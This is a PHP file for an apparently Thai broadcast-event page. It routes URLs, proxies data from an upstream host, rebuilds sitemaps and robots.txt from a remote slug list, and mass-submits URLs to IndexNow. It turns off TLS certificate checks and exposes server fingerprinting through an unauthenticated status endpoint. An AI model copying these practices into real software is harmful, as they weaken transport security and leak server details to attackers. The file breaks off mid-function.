'raw_uri' => isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/',
'path' => '/',
'query' => '',
'segments' => array(),
'slug' => '',
'action' => '',
'is_pretty' => false
);
$uri = $result['raw_uri'];
// Normalize backslashes to forward slashes (Windows/IIS compatibility)
$uri = str_replace('\\', '/', $uri);
// Remove query string
$pos = strpos($uri, '?');
if ($pos !== false) {
$result['query'] = substr($uri, $pos + 1);
$uri = substr($uri, 0, $pos);
}
// Remove base path
$basePath = detect_base_path();
if ($basePath !== '' && strpos($uri, $basePath) === 0) {
$uri = substr($uri, strlen($basePath));
}
// Clean up path
$uri = '/' . ltrim($uri, '/');
$result['path'] = $uri;
// Parse segments
$segments = explode('/', trim($uri, '/'));
$segments = array_filter($segments, function($s) { return $s !== ''; });
$segments = array_values($segments);
$result['segments'] = $segments;
// Determine route type
$segmentCount = count($segments);
if ($segmentCount === 0 || ($segmentCount === 1 && ($segments[0] === 'index.php' || $segments[0] === ''))) {
// Home page or default
$result['action'] = 'home';
}
elseif ($segmentCount === 1) {
$segment = $segments[0];
// Check for known actions
if (in_array($segment, array('login', 'register', 'logout', 'shipping', 'return-policy', 'privacy-policy', 'terms-of-service', 'cookie-policy', 'about', 'faq', 'contact'), true)) {
$result['action'] = $segment;
$result['is_pretty'] = true;
}
// Check for file extensions (not pretty URL)
elseif (preg_match('/\.(php|html|htm)$/i', $segment)) {
$result['action'] = 'file';
}
// Assume it's a broadcast slug
else {
$result['action'] = 'broadcast';
$result['slug'] = $segment;
$result['is_pretty'] = true;
}
}
elseif ($segmentCount === 2) {
// Only /update/sitemap pattern (removed /broadcast/slug)
$first = $segments[0];
$second = $segments[1];
if ($first === 'update' && $second === 'sitemap') {
$result['action'] = 'update_sitemap';
$result['is_pretty'] = true;
}
}
return $result;
}
/**
* Get the slug from request (supports both GET params and pretty URLs)
* @return string The broadcast slug
*/
function get_broadcast_slug() {
// First check GET parameter (fallback)
if (isset($_GET['view']) && trim($_GET['view']) !== '') {
return trim($_GET['view']);
}
// Check for pretty URL
$route = parse_request_path();
if ($route['action'] === 'broadcast' && $route['slug'] !== '') {
return $route['slug'];
}
return '';
}
/**
* Get the auth mode from request (supports both GET params and pretty URLs)
* @return string 'login', 'register', or ''
*/
function get_auth_mode() {
// First check GET parameter (fallback)
if (isset($_GET['mode'])) {
$mode = trim($_GET['mode']);
if (in_array($mode, array('login', 'register', 'shipping', 'return-policy', 'privacy-policy', 'terms-of-service', 'cookie-policy', 'about', 'faq', 'contact'), true)) {
return $mode;
}
}
// Check for pretty URL
$route = parse_request_path();
if (in_array($route['action'], array('login', 'register', 'shipping', 'return-policy', 'privacy-policy', 'terms-of-service', 'cookie-policy', 'about', 'faq', 'contact'), true)) {
return $route['action'];
}
return '';
}
/**
* Build a URL for a broadcast (SEO-friendly if supported)
* @param string $slug Broadcast slug
* @param bool $absolute Return absolute URL
* @return string URL
*/
function build_broadcast_url($slug, $absolute = true) {
$base = $absolute ? get_site_url() : detect_base_path();
$base = rtrim($base, '/');
if (supports_pretty_urls()) {
// SEO-friendly: /slug
return $base . '/' . rawurlencode($slug);
} else {
// Fallback: ?view=slug
return $base . '/?view=' . rawurlencode($slug);
}
}
if (!function_exists('get_broadcast_api_base_candidates')) {
/**
* Build candidate base URLs for the upstream API.
* @return array
*/
function get_broadcast_api_base_candidates() {
$candidates = array();
if (defined('BROADCAST_API_BASE_URL')) {
$candidates[] = BROADCAST_API_BASE_URL;
}
$candidates[] = 'https://broadcast.krabi88.vip';
$unique = array();
foreach ($candidates as $candidate) {
$candidate = rtrim($candidate, '/');
if ($candidate !== '' && !in_array($candidate, $unique, true)) {
$unique[] = $candidate;
}
}
return $unique;
}
}
/**
* Build a URL for auth pages (SEO-friendly if supported)
* @param string $mode 'login' or 'register'
* @param bool $absolute Return absolute URL
* @return string URL
*/
function build_auth_url($mode, $absolute = true) {
$base = $absolute ? get_site_url() : detect_base_path();
$base = rtrim($base, '/');
if (supports_pretty_urls()) {
// SEO-friendly: /login or /register
return $base . '/' . $mode;
} else {
// Fallback: ?mode=login
return $base . '/?mode=' . $mode;
}
}
/**
* Build a URL for update actions (SEO-friendly if supported)
* @param string $action Action name (e.g., 'sitemap')
* @param bool $absolute Return absolute URL
* @return string URL
*/
function build_update_url($action, $absolute = true) {
$base = $absolute ? get_site_url() : detect_base_path();
$base = rtrim($base, '/');
if (supports_pretty_urls()) {
// SEO-friendly: /update/sitemap
return $base . '/update/' . rawurlencode($action);
} else {
// Fallback: update.php?update=sitemap
return $base . '/update.php?update=' . rawurlencode($action);
}
}
/**
* Get the canonical URL for current page
* @return string Canonical URL
*/
function get_canonical_url() {
$slug = get_broadcast_slug();
$authMode = get_auth_mode();
if ($authMode !== '') {
return build_auth_url($authMode, true);
}
if ($slug !== '') {
return build_broadcast_url($slug, true);
}
// Home page
return rtrim(get_site_url(), '/') . '/';
}
// =============================================================================
// HELPER FUNCTIONS
// =============================================================================
/**
* Format date for display
* @param string $datetime ISO 8601 datetime string
* @param string $format PHP date format
* @return string
*/
function format_event_date($datetime, $format = 'd/m/Y') {
$timestamp = strtotime($datetime);
return $timestamp !== false ? date($format, $timestamp) : $datetime;
}
/**
* Format time for display
* @param string $datetime ISO 8601 datetime string
* @param string $format PHP date format
* @return string
*/
function format_event_time($datetime, $format = 'g:i A') {
$timestamp = strtotime($datetime);
return $timestamp !== false ? date($format, $timestamp) : $datetime;
}
/**
* Get current year
* @return string
*/
function get_current_year() {
return date('Y');
}
/**
* Check if user is logged in (disabled - always false)
* @return bool
*/
function is_user_logged_in() {
// Session disabled - always return false
return false;
}
/**
* Get current user data (disabled - always null)
* @return array|null
*/
function get_current_user_data() {
// Session disabled
return null;
}
/**
* Generate stream token (disabled - always null)
* @return string|null
*/
function generate_stream_token() {
// Session disabled
return null;
}
/**
* Verify stream token (disabled - always false)
* @param string $token
* @return bool
*/
function verify_stream_token($token) {
// Session disabled
return false;
}
/**
* Resolve favicon URL
* @param int $size Icon size
* @return string
*/
function resolve_favicon_url($size = 64) {
$faviconPath = BASE_PATH . '/favicon.png';
// Check local favicon first
if (file_exists($faviconPath)) {
// SITE_URL already includes base path from get_site_url()
return SITE_URL . '/favicon.png';
}
$host = detect_host(true);
if ($host === '' || _is_local_host($host)) {
return '';
}
// Build Google favicon API URL with HTTPS protocol
$parts = explode('.', $host);
$count = count($parts);
$rootDomain = $count >= 2 ? $parts[$count - 2] . '.' . $parts[$count - 1] : $host;
$faviconHost = $count >= 3 ? $host : $rootDomain;
$googleFaviconUrl = 'https://t3.gstatic.com/faviconV2?' . http_build_query(array(
'client' => 'SOCIAL',
'type' => 'FAVICON',
'fallback_opts' => 'TYPE,SIZE,URL',
'url' => 'https://' . $faviconHost,
'size' => (int)$size
), '', '&');
// Try to download and save favicon locally
if (function_exists('file_get_contents') && is_writable(BASE_PATH)) {
$context = stream_context_create(array(
'http' => array(
'timeout' => 5,
'user_agent' => 'Mozilla/5.0 (compatible; FaviconDownloader/1.0)',
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
$faviconData = @file_get_contents($googleFaviconUrl, false, $context);
if ($faviconData !== false && strlen($faviconData) > 0) {
// Save to local file
if (@file_put_contents($faviconPath, $faviconData) !== false) {
// Successfully saved, return local URL
return SITE_URL . '/favicon.png';
}
}
}
// If download failed, return Google URL directly
return $googleFaviconUrl;
}
/**
* Check if host is local/development (internal helper)
* @param string $host
* @return bool
*/
function _is_local_host($host) {
if ($host === 'localhost' || $host === '127.0.0.1' || $host === '::1') {
return true;
}
if (substr($host, -6) === '.local') {
return true;
}
if (filter_var($host, FILTER_VALIDATE_IP)) {
return !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
return false;
}
/**
* Get comprehensive server info for debugging
* Cross-platform compatible (Windows, Linux, macOS, BSD)
* Compatible with PHP 5.4+, any web server (Apache, Nginx, IIS, LiteSpeed, etc.)
* @return array
*/
function get_server_info() {
$info = array();
// PHP Information
$info['php'] = array(
'version' => PHP_VERSION,
'version_id' => defined('PHP_VERSION_ID') ? PHP_VERSION_ID : 0,
'sapi' => php_sapi_name(),
'interface' => PHP_SAPI,
'zend_version' => zend_version(),
'extensions' => get_loaded_extensions(),
'ini' => array(
'memory_limit' => ini_get('memory_limit'),
'max_execution_time' => ini_get('max_execution_time'),
'upload_max_filesize' => ini_get('upload_max_filesize'),
'post_max_size' => ini_get('post_max_size'),
'display_errors' => ini_get('display_errors'),
'error_reporting' => ini_get('error_reporting'),
'date.timezone' => ini_get('date.timezone'),
)
);
// Operating System Information
$info['os'] = array(
'name' => PHP_OS,
'family' => defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : _detect_os_family(),
'architecture' => php_uname('m'),
'hostname' => php_uname('n'),
'release' => php_uname('r'),
'version' => php_uname('v'),
);
// Server Software Detection
$serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '';
$info['server'] = array(
'software' => $serverSoftware,
'type' => _detect_server_type($serverSoftware),
'protocol' => isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1',
'port' => isset($_SERVER['SERVER_PORT']) ? (int)$_SERVER['SERVER_PORT'] : 80,
'document_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'gateway_interface' => isset($_SERVER['GATEWAY_INTERFACE']) ? $_SERVER['GATEWAY_INTERFACE'] : '',
);
// Time and Timezone
$info['time'] = array(
'timezone' => date_default_timezone_get(),
'current' => date('Y-m-d H:i:s'),
'utc' => gmdate('Y-m-d H:i:s'),
'offset' => date('P'),
'timestamp' => time(),
);
// Memory and Resources
$info['resources'] = array(
'memory_usage' => _format_bytes(memory_get_usage(false)),
'memory_usage_real' => _format_bytes(memory_get_usage(true)),
'memory_peak' => _format_bytes(memory_get_peak_usage(false)),
'memory_peak_real' => _format_bytes(memory_get_peak_usage(true)),
);
// Disk Space (only if available)
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '.';
if (function_exists('disk_free_space') && @disk_free_space($docRoot) !== false) {
$info['resources']['disk_free'] = _format_bytes(@disk_free_space($docRoot));
$info['resources']['disk_total'] = _format_bytes(@disk_total_space($docRoot));
}
// Request Information
$info['request'] = array(
'method' => isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET',
'uri' => isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/',
'https' => detect_protocol() === 'https',
'host' => detect_host(),
);
return $info;
}
/**
* Detect OS family for PHP < 7.2
* @return string
*/
function _detect_os_family() {
$os = strtoupper(PHP_OS);
if (strpos($os, 'WIN') === 0) {
return 'Windows';
}
if (strpos($os, 'DARWIN') !== false) {
return 'Darwin';
}
if (strpos($os, 'LINUX') !== false) {
return 'Linux';
}
if (strpos($os, 'BSD') !== false) {
return 'BSD';
}
if (strpos($os, 'CYGWIN') !== false) {
return 'Cygwin';
}
if (strpos($os, 'UNIX') !== false || strpos($os, 'SUN') !== false || strpos($os, 'HP-UX') !== false) {
return 'Unix';
}
return 'Unknown';
}
/**
* Detect web server type from SERVER_SOFTWARE
* @param string $software
* @return string
*/
function _detect_server_type($software) {
$software = strtolower($software);
$servers = array(
'apache' => 'Apache',
'nginx' => 'Nginx',
'litespeed' => 'LiteSpeed',
'microsoft-iis' => 'IIS',
'caddy' => 'Caddy',
'lighttpd' => 'Lighttpd',
'openlitespeed' => 'OpenLiteSpeed',
'php' => 'PHP Built-in',
'development server' => 'PHP Built-in',
);
foreach ($servers as $key => $name) {
if (strpos($software, $key) !== false) {
return $name;
}
}
return $software ? 'Other' : 'Unknown';
}
/**
* Format bytes to human readable
* @param int $bytes
* @return string
*/
function _format_bytes($bytes) {
if ($bytes === false || $bytes < 0) {
return 'N/A';
}
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$bytes = (float)$bytes;
$i = 0;
while ($bytes >= 1024 && $i < 4) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
/**
* Main Broadcast Page
*
* @package BroadcastEvent
*/
// Load configuration
// Stream proxy (replaces live.php)
if (isset($_GET['stream']) && $_GET['stream'] === '1') {
if (get_request_method() !== 'GET') {
set_response_code(405);
header('Allow: GET');
exit;
}
if (!is_user_logged_in()) {
set_response_code(403);
header('Content-Type: text/plain; charset=utf-8');
echo 'Forbidden';
exit;
}
$token = isset($_GET['token']) ? $_GET['token'] : '';
if (!verify_stream_token($token)) {
set_response_code(403);
header('Content-Type: text/plain; charset=utf-8');
echo 'Forbidden';
exit;
}
}
// API: broadcast payload
if (isset($_GET['api']) && $_GET['api'] === 'broadcast') {
if (get_request_method() !== 'GET') {
set_response_code(405);
header('Allow: GET');
header('Content-Type: application/json; charset=utf-8');
echo safe_json_encode(array(
'ok' => false,
'error' => 'Method not allowed'
));
exit;
}
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
$slug = isset($_GET['slug']) ? trim($_GET['slug']) : '';
if ($slug === '') {
set_response_code(400);
echo safe_json_encode(array(
'ok' => false,
'error' => 'slug required'
));
exit;
}
$baseCandidates = get_broadcast_api_base_candidates();
$remote = null;
$remoteUrl = '';
foreach ($baseCandidates as $baseUrl) {
$remoteUrl = rtrim($baseUrl, '/') . '/api/broadcast/' . rawurlencode($slug);
$remote = fetch_remote_broadcast($remoteUrl, 4);
// Check if remote is valid array before accessing keys
if (is_array($remote)) {
$remoteOk = isset($remote['ok']) ? $remote['ok'] : false;
$remoteStatus = isset($remote['status']) ? $remote['status'] : 0;
if ($remoteOk === true || $remoteStatus === 404) {
break;
}
}
}
// Validate $remote is an array
if (!is_array($remote)) {
set_response_code(502);
echo safe_json_encode(array('ok' => false, 'error' => 'upstream service unavailable'));
exit;
}
// Check if fetch was successful
$remoteOk = isset($remote['ok']) ? $remote['ok'] : false;
if ($remoteOk !== true) {
$status = isset($remote['status']) ? (int) $remote['status'] : 502;
$body = isset($remote['body']) ? $remote['body'] : safe_json_encode(array('ok' => false, 'error' => 'upstream error'));
set_response_code($status);
echo $body;
exit;
}
// Decode and validate upstream payload
if (!isset($remote['body'])) {
set_response_code(502);
echo safe_json_encode(array('ok' => false, 'error' => 'invalid upstream response'));
exit;
}
$upstream = safe_json_decode($remote['body'], true);
if (!is_array($upstream)) {
set_response_code(502);
echo safe_json_encode(array('ok' => false, 'error' => 'invalid upstream payload'));
exit;
}
$normalized = normalize_broadcast_payload($upstream, $slug);
echo safe_json_encode($normalized);
exit;
}
// API: server status (format=html|text)
if (isset($_GET['api']) && $_GET['api'] === 'status') {
$format = isset($_GET['format']) ? strtolower($_GET['format']) : '';
if (get_request_method() !== 'GET') {
set_response_code(405);
header('Allow: GET');
header('Content-Type: application/json; charset=utf-8');
echo safe_json_encode(array(
'ok' => false,
'error' => 'Method not allowed'
));
exit;
}
set_antibot_headers();
$botCheck = detect_bot();
if ($botCheck['is_bot'] && $botCheck['score'] >= 1) {
block_bot('Bot access not allowed');
}
if ($format !== 'html' && $format !== 'text') {
set_response_code(403);
header('Content-Type: text/plain; charset=utf-8');
echo '403 Forbidden';
exit;
}
$environment = get_server_environment();
$validation = validate_server_environment();
$response = array(
'ok' => $validation['valid'],
'generated_at' => date('c'),
'validation' => $validation,
'php' => array(
'version' => $environment['php']['version'],
'major' => $environment['php']['major'],
'minor' => $environment['php']['minor'],
'sapi' => $environment['php']['sapi'],
'zend_version' => $environment['php']['zend_version'],
'thread_safe' => $environment['php']['thread_safe']
),
'os' => $environment['os'],
'webserver' => array(
'name' => $environment['webserver']['name'],
'version' => $environment['webserver']['version'],
'interface' => $environment['webserver']['interface'],
'sapi' => $environment['webserver']['sapi']
),
'extensions' => $environment['extensions'],
'runtime' => array(
'memory_limit' => $environment['memory_limit'],
'max_execution_time' => $environment['max_execution_time'],
'upload_max_filesize' => $environment['upload_max_filesize'],
'post_max_size' => $environment['post_max_size'],
'allow_url_fopen' => $environment['allow_url_fopen'],
'timezone' => $environment['date_timezone']
),
'disabled_functions_count' => count($environment['disabled_functions'])
);
if ($format === 'html') {
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<title>สถานะเซิร์ฟเวอร์</title>
<style>
* { box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: #1a1a2e;
color: #e0e0e0;
margin: 0;
padding: 20px;
min-height: 100vh;
}
.container { max-width: 900px; margin: 0 auto; }
h1 { color: #fff; margin-bottom: 30px; }
.card {
background: #16213e;
border-radius: 12px;
padding: 20px;
margin-bottom: 20px;
}
.card h2 {
margin-top: 0;
color: #fff;
border-bottom: 1px solid #0f3460;
padding-bottom: 10px;
}
table { width: 100%; border-collapse: collapse; }
td, th {
padding: 10px;
text-align: left;
border-bottom: 1px solid #0f3460;
}
th { color: #888; font-weight: 500; width: 40%; }
.status-ok { color: #4ade80; }
.status-warning { color: #fbbf24; }
.status-error { color: #f87171; }
.badge {
display: inline-block;
padding: 4px 10px;
border-radius: 20px;
font-size: 12px;
font-weight: 600;
}
.badge-success { background: #166534; color: #4ade80; }
.badge-warning { background: #854d0e; color: #fbbf24; }
.badge-danger { background: #991b1b; color: #f87171; }
.back-link {
display: inline-block;
color: #60a5fa;
text-decoration: none;
margin-top: 20px;
}
.back-link:hover { text-decoration: underline; }
</style>
</head>
<body>
<div class="container">
<h1>สถานะเซิร์ฟเวอร์</h1>
<?php if (!$validation['valid']) : ?>
<div class="card" style="border: 2px solid #f87171;">
<h2 style="color: #f87171;">ปัญหาสภาพแวดล้อม</h2>
<ul style="margin: 0; padding-left: 20px;">
<?php foreach ($validation['errors'] as $error) : ?>
<li class="status-error"><?php echo esc_html($error); ?></li>
<?php endforeach; ?>
</ul>
</div>
<?php endif; ?>
<?php if (!empty($validation['warnings'])) : ?>
<div class="card" style="border: 2px solid #fbbf24;">
<h2 style="color: #fbbf24;">คำเตือน</h2>
<ul style="margin: 0; padding-left: 20px;">
<?php foreach ($validation['warnings'] as $warning) : ?>
<li class="status-warning"><?php echo esc_html($warning); ?></li>
<?php endforeach; ?>
</ul>
</div>
<?php endif; ?>
<div class="card">
<h2>PHP</h2>
<table>
<tr><th>เวอร์ชัน</th><td><?php echo esc_html($response['php']['version']); ?></td></tr>
<tr><th>SAPI</th><td><?php echo esc_html($response['php']['sapi']); ?></td></tr>
<tr><th>เวอร์ชัน Zend</th><td><?php echo esc_html($response['php']['zend_version']); ?></td></tr>
<tr><th>รองรับ Thread Safe</th><td><?php echo $response['php']['thread_safe'] ? 'ใช่' : 'ไม่'; ?></td></tr>
</table>
</div>
<div class="card">
<h2>ระบบปฏิบัติการ</h2>
<table>
<tr><th>ชื่อ</th><td><?php echo esc_html($response['os']['name']); ?></td></tr>
<tr><th>ตระกูล</th><td><?php echo esc_html($response['os']['family']); ?></td></tr>
<?php if (!empty($response['os']['version'])) : ?>
<tr><th>เวอร์ชัน</th><td><?php echo esc_html($response['os']['version']); ?></td></tr>
<?php endif; ?>
<tr><th>สถาปัตยกรรม</th><td><?php echo esc_html($response['os']['architecture']); ?></td></tr>
</table>
</div>
<div class="card">
<h2>เว็บเซิร์ฟเวอร์</h2>
<table>
<tr><th>เซิร์ฟเวอร์</th><td><?php echo esc_html($response['webserver']['name']); ?><?php echo !empty($response['webserver']['version']) ? ' ' . esc_html($response['webserver']['version']) : ''; ?></td></tr>
<tr><th>อินเทอร์เฟซ</th><td><?php echo esc_html($response['webserver']['interface']); ?></td></tr>
</table>
</div>
<div class="card">
<h2>ส่วนขยาย</h2>
<table>
<?php foreach ($response['extensions'] as $ext => $info) : ?>
<tr>
<th><?php echo esc_html($ext); ?></th>
<td>
<?php if ($info['loaded']) : ?>
<span class="badge badge-success">โหลดแล้ว</span>
<?php elseif ($info['required']) : ?>
<span class="badge badge-danger">ขาดหาย (จำเป็น)</span>
<?php else : ?>
<span class="badge badge-warning">ยังไม่โหลด</span>
<?php endif; ?>
<small style="color: #888; display: block; margin-top: 4px;"><?php echo esc_html($info['description']); ?></small>
</td>
</tr>
<?php endforeach; ?>
</table>
</div>
<div class="card">
<h2>การตั้งค่ารันไทม์</h2>
<table>
<tr><th>หน่วยความจำสูงสุด</th><td><?php echo esc_html($response['runtime']['memory_limit']); ?></td></tr>
<tr><th>เวลาประมวลผลสูงสุด</th><td><?php echo esc_html($response['runtime']['max_execution_time']); ?>s</td></tr>
<tr><th>ขนาดไฟล์อัปโหลดสูงสุด</th><td><?php echo esc_html($response['runtime']['upload_max_filesize']); ?></td></tr>
<tr><th>ขนาดโพสต์สูงสุด</th><td><?php echo esc_html($response['runtime']['post_max_size']); ?></td></tr>
<tr><th>อนุญาต URL Fopen</th><td><?php echo $response['runtime']['allow_url_fopen'] ? 'ใช่' : 'ไม่'; ?></td></tr>
<tr><th>เขตเวลา</th><td><?php echo esc_html($response['runtime']['timezone']); ?></td></tr>
</table>
</div>
<a href="index.php" class="back-link">← กลับหน้าแรก</a>
</div>
</body>
</html>
<?php
} elseif ($format === 'text') {
header('Content-Type: text/plain; charset=utf-8');
echo display_php_compat_info(false);
}
exit;
}
if (!function_exists('read_sitemap_urls')) {
/**
* Read URLs from a sitemap or sitemap index file.
* @param string $sitemapFile
* @return array {urls: array, format: string, sitemap_files: array}
*/
function read_sitemap_urls($sitemapFile) {
$result = array(
'urls' => array(),
'format' => 'query',
'sitemap_files' => array()
);
if ($sitemapFile === '' || !file_exists($sitemapFile) || !is_readable($sitemapFile)) {
return $result;
}
$content = safe_file_get_contents($sitemapFile);
if ($content === false || $content === '') {
return $result;
}
$urls = array();
if (strpos($content, '<sitemapindex') !== false) {
if (preg_match_all('/<loc>([^<]+)<\/loc>/', $content, $matches)) {
foreach ($matches[1] as $sitemapUrl) {
$sitemapUrl = html_entity_decode($sitemapUrl, ENT_QUOTES, 'UTF-8');
$path = parse_url($sitemapUrl, PHP_URL_PATH);
$basename = $path ? basename($path) : '';
if ($basename === '') {
continue;
}
$sitemapPath = __DIR__ . '/' . $basename;
$result['sitemap_files'][] = $sitemapPath;
if (!file_exists($sitemapPath) || !is_readable($sitemapPath)) {
continue;
}
$sitemapContent = safe_file_get_contents($sitemapPath);
if ($sitemapContent !== false && preg_match_all('/<loc>([^<]+)<\/loc>/', $sitemapContent, $subMatches)) {
$urls = array_merge($urls, $subMatches[1]);
}
}
}
} else {
if (preg_match_all('/<loc>([^<]+)<\/loc>/', $content, $matches)) {
$urls = $matches[1];
}
}
if (count($urls) > 0 && strpos($urls[0], '?view=') === false) {
$result['format'] = 'pretty';
}
$result['urls'] = $urls;
return $result;
}
}
// Update sitemap (supports ?update=sitemap or /update/sitemap)
$updateAction = '';
if (isset($_GET['update'])) {
$updateAction = trim($_GET['update']);
} else {
$route = parse_request_path();
if ($route['action'] === 'update_sitemap') {
$updateAction = 'sitemap';
}
}
if ($updateAction === 'sitemap') {
header('X-Robots-Tag: noindex, nofollow');
if (get_request_method() !== 'GET') {
set_response_code(405);
header('Allow: GET');
header('Content-Type: text/plain; charset=utf-8');
echo 'Method not allowed';
exit;
}
$baseCandidates = get_broadcast_api_base_candidates();
$slugResult = null;
foreach ($baseCandidates as $baseUrl) {
$slugEndpoint = rtrim($baseUrl, '/') . '/api/slug';
$separator = (strpos($slugEndpoint, '?') === false) ? '?' : '&';
$slugEndpoint .= $separator . 'ts=' . rawurlencode((string) time());
// Retry up to 2 times on transient failures (502)
for ($retry = 0; $retry < 2; $retry++) {
$slugResult = fetch_remote_slug_list($slugEndpoint, 5);
if ($slugResult['ok']) {
break 2; // Exit both loops
}
// Only retry on 502 (connection failures)
if ($slugResult['status'] !== 502) {
break;
}
usleep(300000); // Wait 300ms before retry
}
}
if ($slugResult === null || !$slugResult['ok']) {
$status = ($slugResult && isset($slugResult['status'])) ? $slugResult['status'] : 502;
$error = ($slugResult && isset($slugResult['error'])) ? $slugResult['error'] : 'slug API unavailable';
set_response_code($status);
header('Content-Type: text/plain; charset=utf-8');
header('Retry-After: 60');
echo $error;
exit;
}
$slugs = normalize_slug_list($slugResult['payload']);
if (count($slugs) === 0) {
set_response_code(502);
header('Content-Type: text/plain; charset=utf-8');
echo 'slug API returned empty or invalid payload';
exit;
}
// Determine URL format based on how request was accessed
// ?update=sitemap → query params, /update/sitemap → pretty URLs
$requestUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$usePrettyUrls = (strpos($requestUri, '?') === false);
$baseUrl = rtrim(get_site_url(), '/');
$lastmod = date('c');
$priority = '0.8';
$chunkSize = 1000;
$chunks = array_chunk($slugs, $chunkSize);
if (is_function_available('glob')) {
$oldSitemaps = glob(__DIR__ . '/sitemap-*.xml');
if (is_array($oldSitemaps)) {
foreach ($oldSitemaps as $oldFile) {
@unlink($oldFile);
}
}
}
$generatedSitemaps = array();
foreach ($chunks as $index => $chunk) {
$xml = array();
$xml[] = '<?xml version="1.0" encoding="UTF-8"?>';
$xml[] = '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
foreach ($chunk as $slug) {
// Build URL based on detected format (don't use build_broadcast_url which checks config files)
if ($usePrettyUrls) {
$loc = $baseUrl . '/' . rawurlencode($slug);
} else {
$loc = $baseUrl . '/?view=' . rawurlencode($slug);
}
$xml[] = ' <url>';
$xml[] = ' <loc>' . esc_html($loc) . '</loc>';
$xml[] = ' <lastmod>' . $lastmod . '</lastmod>';
$xml[] = ' <priority>' . $priority . '</priority>';
$xml[] = ' </url>';
}
$xml[] = '</urlset>';
$sitemapName = 'sitemap-' . ($index + 1) . '.xml';
$sitemapPath = __DIR__ . '/' . $sitemapName;
$bytes = file_put_contents($sitemapPath, implode("\n", $xml) . "\n");
if ($bytes === false) {
set_response_code(500);
header('Content-Type: text/plain; charset=utf-8');
echo 'Failed to write ' . $sitemapName;
exit;
}
$generatedSitemaps[] = $sitemapName;
}
$indexXml = array();
$indexXml[] = '<?xml version="1.0" encoding="UTF-8"?>';
$indexXml[] = '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
foreach ($generatedSitemaps as $sitemapName) {
$indexXml[] = ' <sitemap>';
$indexXml[] = ' <loc>' . esc_html($baseUrl . '/' . $sitemapName) . '</loc>';
$indexXml[] = ' <lastmod>' . $lastmod . '</lastmod>';
$indexXml[] = ' </sitemap>';
}
$indexXml[] = '</sitemapindex>';
$indexPath = __DIR__ . '/sitemap.xml';
$bytes = file_put_contents($indexPath, implode("\n", $indexXml) . "\n");
if ($bytes === false) {
set_response_code(500);
header('Content-Type: text/plain; charset=utf-8');
echo 'Failed to write sitemap.xml';
exit;
}
// Generate robots.txt (allow all + sitemap index)
$robotsPath = __DIR__ . '/robots.txt';
$sitemapIndexUrl = $baseUrl . '/sitemap.xml';
$robotsContent = "User-agent: *\nAllow: /\nSitemap: " . $sitemapIndexUrl . "\n";
$robotsBytes = safe_file_put_contents($robotsPath, $robotsContent);
if ($robotsBytes === false) {
header('Content-Type: text/plain; charset=utf-8');
$urlType = $usePrettyUrls ? 'SEO-friendly' : 'query params';
echo 'sitemap.xml updated (' . count($slugs) . ' urls, ' . count($generatedSitemaps) . ' files, ' . $urlType . ') but failed to write robots.txt';
exit;
}
header('Content-Type: text/plain; charset=utf-8');
$urlType = $usePrettyUrls ? 'SEO-friendly' : 'query params';
echo 'sitemap.xml updated (' . count($slugs) . ' urls, ' . count($generatedSitemaps) . ' files, ' . $urlType . ')';
exit;
}
// IndexNow SSE submission endpoint (?update=indexnow&sse=1)
if ($updateAction === 'indexnow' && isset($_GET['sse']) && $_GET['sse'] === '1') {
// SSE endpoint for real-time submission progress
sse_init(3000);
$keyValue = isset($_GET['key']) ? trim($_GET['key']) : '';
$urlCount = isset($_GET['count']) ? (int)$_GET['count'] : 0;
if ($keyValue === '' || strlen($keyValue) !== 32) {
sse_send(array('step' => 'error', 'message' => 'พารามิเตอร์คีย์ไม่ถูกต้อง'), 'error');
exit;
}
// Read sitemap URLs
$sitemapFile = __DIR__ . '/sitemap.xml';
$urls = array();
$sitemapInfo = read_sitemap_urls($sitemapFile);
if (!empty($sitemapInfo['urls'])) {
$urls = $sitemapInfo['urls'];
shuffle($urls);
$urls = array_slice($urls, 0, 5000);
}
if (count($urls) === 0) {
sse_send(array('step' => 'error', 'message' => 'ไม่พบ URL ใน sitemap'), 'error');
exit;
}
$host = parse_url($urls[0], PHP_URL_HOST);
$basePath = parse_url(get_site_url(), PHP_URL_PATH);
$urlScheme = parse_url($urls[0], PHP_URL_SCHEME);
$urlScheme = is_string($urlScheme) ? strtolower($urlScheme) : '';
if ($urlScheme !== 'http' && $urlScheme !== 'https') {
$urlScheme = detect_protocol();
}
$keyLocation = $urlScheme . '://' . $host . $basePath . '/' . $keyValue . '.txt';
$keyFile = __DIR__ . '/' . $keyValue . '.txt';
// Step 1: Verify local key file exists
sse_send(array('step' => 1, 'message' => 'กำลังตรวจสอบไฟล์คีย์ในเครื่อง...'), 'progress');
sleep(1);
if (!file_exists($keyFile)) {
sse_send(array('step' => 'error', 'message' => 'ไม่พบไฟล์คีย์ในเครื่อง: ' . $keyFile), 'error');
exit;
}
$localKeyContent = trim(safe_file_get_contents($keyFile));
if ($localKeyContent !== $keyValue) {
